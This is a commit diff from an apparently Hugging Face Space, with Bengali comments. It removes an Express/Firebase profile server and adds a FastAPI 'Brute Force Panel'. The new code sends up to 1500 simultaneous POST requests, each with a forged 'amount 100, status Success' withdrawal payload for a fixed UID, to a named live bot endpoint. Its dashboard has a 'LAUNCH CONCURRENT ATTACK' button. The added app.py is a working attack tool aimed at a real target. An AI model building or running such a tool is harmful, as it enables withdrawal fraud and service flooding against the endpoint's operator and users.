Raybilhelp commited on
Commit
c342693
·
verified ·
1 Parent(s): 72a348f

Rename app.js to app.py

Browse files
Files changed (2) hide show
  1. app.js +0 -133
  2. app.py +153 -0
app.js DELETED
@@ -1,133 +0,0 @@
1
- import express from 'express';
2
- import admin from 'firebase-admin';
3
- import cluster from 'cluster';
4
- import os from 'os';
5
-
6
- const totalCpus = os.cpus().length;
7
-
8
- if (cluster.isPrimary) {
9
- console.log(`Primary Master Process ${process.pid} is running`);
10
-
11
- for (let i = 0; i < totalCpus; i++) {
12
- cluster.fork();
13
- }
14
-
15
- cluster.on('exit', (worker) => {
16
- console.log(`Worker ${worker.process.pid} died. Forking a new one...`);
17
- cluster.fork();
18
- });
19
-
20
- } else {
21
- const app = express();
22
- app.use(express.json());
23
-
24
- const PORT = process.env.PORT || 7860;
25
- const BOT_TOKEN = process.env.BOT_TOKEN;
26
-
27
- // --- ফায়ারবেস ইনিশিয়ালাইজেশন ---
28
- let app1, app2;
29
- try {
30
- const firebaseAdmin1 = JSON.parse(process.env.FIREBASE_ADMIN_1 || '{}');
31
- const firebaseAdmin2 = JSON.parse(process.env.FIREBASE_ADMIN_2 || '{}');
32
-
33
- app1 = admin.initializeApp({
34
- credential: admin.credential.cert(firebaseAdmin1),
35
- databaseURL: process.env.FB_DB_1
36
- }, 'app1');
37
-
38
- app2 = admin.initializeApp({
39
- credential: admin.credential.cert(firebaseAdmin2),
40
- databaseURL: process.env.FB_DB_2
41
- }, 'app2');
42
-
43
- console.log(`Worker ${process.pid} connected to Firebase.`);
44
- } catch (error) {
45
- console.error('Firebase initialization error:', error.message);
46
- }
47
-
48
- // --- কাস্টম রিকোয়েস্ট-রেসপন্স লগার মিডলওয়্যার ---
49
- app.use((req, res, next) => {
50
- const startTime = Date.now();
51
-
52
- // রেসপন্স শেষ হলে এই ফাংশনটি রান করবে
53
- res.on('finish', () => {
54
- const duration = Date.now() - startTime;
55
- console.log(`\n=================== REQUEST LOG [Worker: ${process.pid}] ===================`);
56
- console.log(`[${new Date().toISOString()}] ${req.method} ${req.originalUrl}`);
57
- console.log(`➜ Incoming Body:`, JSON.stringify(req.body || {}));
58
- console.log(`➜ HTTP Status: ${res.statusCode}`);
59
- console.log(`➜ Execution Time: ${duration}ms`);
60
- console.log(`=================================================================\n`);
61
- });
62
-
63
- next();
64
- });
65
-
66
- // --- ডাটা ভ্যালিডেশন ফাংশন ---
67
- function verifyIntegrity(intdata, uid, fullName) {
68
- if (!intdata || !uid || !fullName) return false;
69
- return true;
70
- }
71
-
72
- // --- এপিআই এন্ডপয়েন্ট সমূহ ---
73
-
74
- // ১. /health এন্ডপয়েন্ট
75
- app.all('/health', (req, res) => {
76
- console.log(`[Worker ${process.pid}] Processing /health request...`);
77
- res.status(200).json({ status: "OK", message: "Server is healthy" });
78
- });
79
-
80
- // ২. /profile পোস্ট রিকোয়েস্ট এন্ডপয়েন্ট
81
- app.post('/profiles', async (req, res) => {
82
- const { intdata, uid, full_name } = req.body;
83
-
84
- console.log(`[Worker ${process.pid}] Processing /profile for UID: ${uid}`);
85
-
86
- // ভ্যালিডেশন চেক
87
- if (!verifyIntegrity(intdata, uid, full_name)) {
88
- console.log(`[Worker ${process.pid}] Validation FAILED for UID: ${uid}`);
89
- return res.status(400).json({ error: "Bad Request: Integrity check failed" });
90
- }
91
-
92
- let responseData = {};
93
-
94
- try {
95
- // কাজের ধাপ ১: DB 1 থেকে উইথড্র ডাটা চেক
96
- console.log(`[Worker ${process.pid}] Fetching withdraw data from DB_1 for UID: ${uid}`);
97
- const db1 = admin.database(app1);
98
- const snapshot1 = await db1.ref(`database/withdraw/${uid}`).once('value');
99
-
100
- if (snapshot1.exists()) {
101
- responseData.withdraw = snapshot1.val();
102
- console.log(`[Worker ${process.pid}] Withdraw data FOUND for UID: ${uid}`);
103
- } else {
104
- console.log(`[Worker ${process.pid}] No withdraw data found for UID: ${uid}`);
105
- }
106
-
107
- // কাজের ধাপ ২: DB 2 থেকে ইউজার ডাটা চেক
108
- console.log(`[Worker ${process.pid}] Fetching user info from DB_2 for UID: ${uid}`);
109
- const db2 = admin.database(app2);
110
- const snapshot2 = await db2.ref(`user/${uid}`).once('value');
111
-
112
- responseData.user_info = snapshot2.exists() ? snapshot2.val() : {};
113
- console.log(`[Worker ${process.pid}] User info processed successfully for UID: ${uid}`);
114
-
115
- // ফাইনাল রেসপন্স পাঠানো
116
- return res.status(200).json({
117
- status: "success",
118
- data: responseData
119
- });
120
-
121
- } catch (error) {
122
- console.error(`[Worker ${process.pid}] Error processing profile:`, error.message);
123
- return res.status(500).json({
124
- error: "Internal Server Error",
125
- details: error.message
126
- });
127
- }
128
- });
129
-
130
- app.listen(PORT, () => {
131
- console.log(`Worker ${process.pid} listening on port ${PORT}`);
132
- });
133
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
app.py ADDED
@@ -0,0 +1,153 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from fastapi import FastAPI, BackgroundTasks, Form
2
+ from fastapi.responses import HTMLResponse, JSONResponse
3
+ import asyncio
4
+ import httpx
5
+ import logging
6
+
7
+ app = FastAPI()
8
+
9
+ # টার্গেট কনফিগারেশন (ফিক্সড)
10
+ TARGET_URL = "https://thbot-22548r8l.b4a.run/rbl/wd-lv"
11
+ BOT_TOKEN = "YOUR_BOT_TOKEN" # আপনার বটের টোকেন এখানে দিন
12
+ TELEGRAM_URL = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
13
+
14
+ # গ্লোবাল লগ লিস্ট (যা ওয়েব স্ক্রিনে লাইভ দেখাবে)
15
+ live_logs = []
16
+
17
+ async def send_single_brute_request(req_id: int, client: httpx.AsyncClient):
18
+ payload = {
19
+ "uid": 8568168081, # আপনার দেওয়া আইডি
20
+ "amount": "100",
21
+ "status": "Success"
22
+ }
23
+
24
+ start_time = asyncio.get_event_loop().time()
25
+ try:
26
+ # একই সাথে হিট করার জন্য তৈরি
27
+ response = await client.post(TARGET_URL, json=payload, timeout=10.0)
28
+ duration = int((asyncio.get_event_loop().time() - start_time) * 1000)
29
+ log_msg = f"[✔] Req #{req_id} -> Success! Code: {response.status_code} ({duration}ms)"
30
+ except Exception as e:
31
+ log_msg = f"[❌] Req #{req_id} -> Failed! Reason: {str(e)}"
32
+
33
+ live_logs.append(log_msg)
34
+ print(log_msg) # হাগিং ফেসের ইন্টারনাল লগেও প্রিন্ট হবে
35
+
36
+ async def run_brute_force_attack(rps: int):
37
+ global live_logs
38
+ live_logs.clear() # আগের লগ মুছে ফেলা
39
+ live_logs.append(f"🔥 ব্রুট ফোর্স অ্যাটাক শুরু হয়েছে! একই সেকেন্ডে {rps} টি রিকোয়েস্ট ফায়ার হচ্ছে...")
40
+
41
+ # লিমিট ছাড়া দ্রুত কানেকশন হ্যান্ডেল করার জন্য ক্লায়েন্ট কনফিগারেশন
42
+ limits = httpx.Limits(max_connections=rps + 10, max_keepalive_connections=rps)
43
+
44
+ async with httpx.AsyncClient(limits=limits) as client:
45
+ # একই সাথে (Concurrently) সব রিকোয়েস্ট টাস্ক তৈরি করা
46
+ tasks = [send_single_brute_request(i + 1, client) for i in range(rps)]
47
+
48
+ # এক ধাক্কায় সব একসাথে এক্সিকিউট করা (True Brute Force)
49
+ await asyncio.gather(*tasks)
50
+
51
+ live_logs.append("🏁 ফায়ারিং কমপ্লিট!")
52
+
53
+ @app.post("/start-attack")
54
+ async def start_attack(background_tasks: BackgroundTasks, rps: int = Form(...)):
55
+ if rps <= 0 or rps > 1500:
56
+ return JSONResponse({"error": "RPS সীমা ১ থেকে ১৫০০ এর মধ্যে হতে হবে!"}, status_code=400)
57
+
58
+ # ব্যাকগ্রাউন্ডে ব্রুট ফোর্স প্রসেসটি রান করিয়ে দেওয়া যাতে ওয়েব পেজ হ্যাং না করে
59
+ background_tasks.add_task(run_brute_force_attack, rps)
60
+ return {"status": "attack_started"}
61
+
62
+ @app.get("/get-logs")
63
+ async def get_logs():
64
+ # ফ্রন্টএন্ড জাভাস্ক্রিপ্ট প্রতি সেকেন্ডে এই এপিআই থেকে লাইভ লগ টেনে নেবে
65
+ return {"logs": live_logs}
66
+
67
+ @app.get("/", response_class=HTMLResponse)
68
+ async def home_ui():
69
+ # এটি হাগিং ফেস স্পেস ব্রাউজ করলে যে সুন্দর কালো টার্মিনাল ড্যাশবোর্ডটি দেখাবে তার কোড
70
+ html_content = """
71
+ <!DOCTYPE html>
72
+ <html lang="en">
73
+ <head>
74
+ <meta charset="UTF-8">
75
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
76
+ <title>RBL Brute Force Controller</title>
77
+ <style>
78
+ body { background-color: #0d1117; color: #c9d1d9; font-family: 'Courier New', Courier, monospace; padding: 20px; }
79
+ .container { max-width: 700px; margin: 0 auto; background: #161b22; padding: 20px; border-radius: 8px; border: 1px solid #30363d; }
80
+ h2 { color: #58a6ff; text-align: center; margin-bottom: 20px; }
81
+ label { font-weight: bold; color: #8b949e; }
82
+ input[type="number"] { width: 100%; padding: 10px; margin-top: 8px; margin-bottom: 15px; background: #0d1117; border: 1px solid #30363d; color: #fff; border-radius: 4px; font-size: 16px; }
83
+ button { width: 100%; padding: 12px; background-color: #238636; color: white; border: none; border-radius: 4px; font-weight: bold; cursor: pointer; font-size: 16px; }
84
+ button:hover { background-color: #2ea043; }
85
+ .terminal { background-color: #010409; height: 350px; margin-top: 20px; border-radius: 4px; border: 1px solid #30363d; padding: 15px; overflow-y: auto; font-size: 13px; color: #39ff14; box-shadow: inset 0 0 10px #000; }
86
+ .target-info { background: #21262d; padding: 10px; border-radius: 4px; margin-bottom: 15px; font-size: 12px; color: #8b949e; }
87
+ </style>
88
+ </head>
89
+ <body>
90
+ <div class="container">
91
+ <h2>RBL BRUTE FORCE PANEL</h2>
92
+ <div class="target-info">
93
+ <strong>🎯 TARGET URL:</strong> https://thbot-22548r8l.b4a.run/rbl/wd-lv<br>
94
+ <strong>📦 METHOD:</strong> POST (Fixed Payload Active)
95
+ </div>
96
+
97
+ <label for="rps">একই সেকেন্ডে কত রিকোয়েস্ট পাঠাবেন? (RPS):</label>
98
+ <input type="number" id="rps" value="100" min="1" max="1500">
99
+ <button id="fireBtn" onclick="launchAttack()">🚀 LAUNCH CONCURRENT ATTACK</button>
100
+
101
+ <div class="terminal" id="terminalLog">>> কন্ট্রোল প্যানেল রেডি। ইনপুট দিয়ে ফায়ার করুন...</div>
102
+ </div>
103
+
104
+ <script>
105
+ let logInterval;
106
+
107
+ async function launchAttack() {
108
+ const rps = document.getElementById('rps').value;
109
+ const btn = document.getElementById('fireBtn');
110
+ const terminal = document.getElementById('terminalLog');
111
+
112
+ btn.disabled = true;
113
+ btn.innerText = "FIRING...";
114
+ terminal.innerHTML = "📡 সার্ভারে রিকোয়েস্ট পাঠানো হচ্ছে...<br>";
115
+
116
+ // এপিআই-তে রিকোয়েস্ট পাঠানো
117
+ let formData = new FormData();
118
+ formData.append('rps', rps);
119
+
120
+ await fetch('/start-attack', { method: 'POST', body: formData });
121
+
122
+ // লাইভ লগ রিড করা শুরু
123
+ clearInterval(logInterval);
124
+ logInterval = setInterval(fetchLogs, 800);
125
+
126
+ // ৩ সেকেন্ড পর বাটন আবার একটিভ করা
127
+ setTimeout(() => {
128
+ btn.disabled = false;
129
+ btn.innerText = "🚀 LAUNCH CONCURRENT ATTACK";
130
+ }, 3000);
131
+ }
132
+
133
+ async function fetchLogs() {
134
+ const response = await fetch('/get-logs');
135
+ const data = await response.json();
136
+ const terminal = document.getElementById('terminalLog');
137
+
138
+ if(data.logs.length > 0) {
139
+ terminal.innerHTML = data.logs.map(log => {
140
+ if(log.includes('[✔]')) return `<span style="color:#39ff14">${log}</span>`;
141
+ if(log.includes('[❌]')) return `<span style="color:#ff3333">${log}</span>`;
142
+ return `<span style="color:#58a6ff">${log}</span>`;
143
+ }).join('<br>');
144
+
145
+ // অটো স্ক্রোল ডাউন
146
+ terminal.scrollTop = terminal.scrollHeight;
147
+ }
148
+ }
149
+ </script>
150
+ </body>
151
+ </html>
152
+ """
153
+ return html_content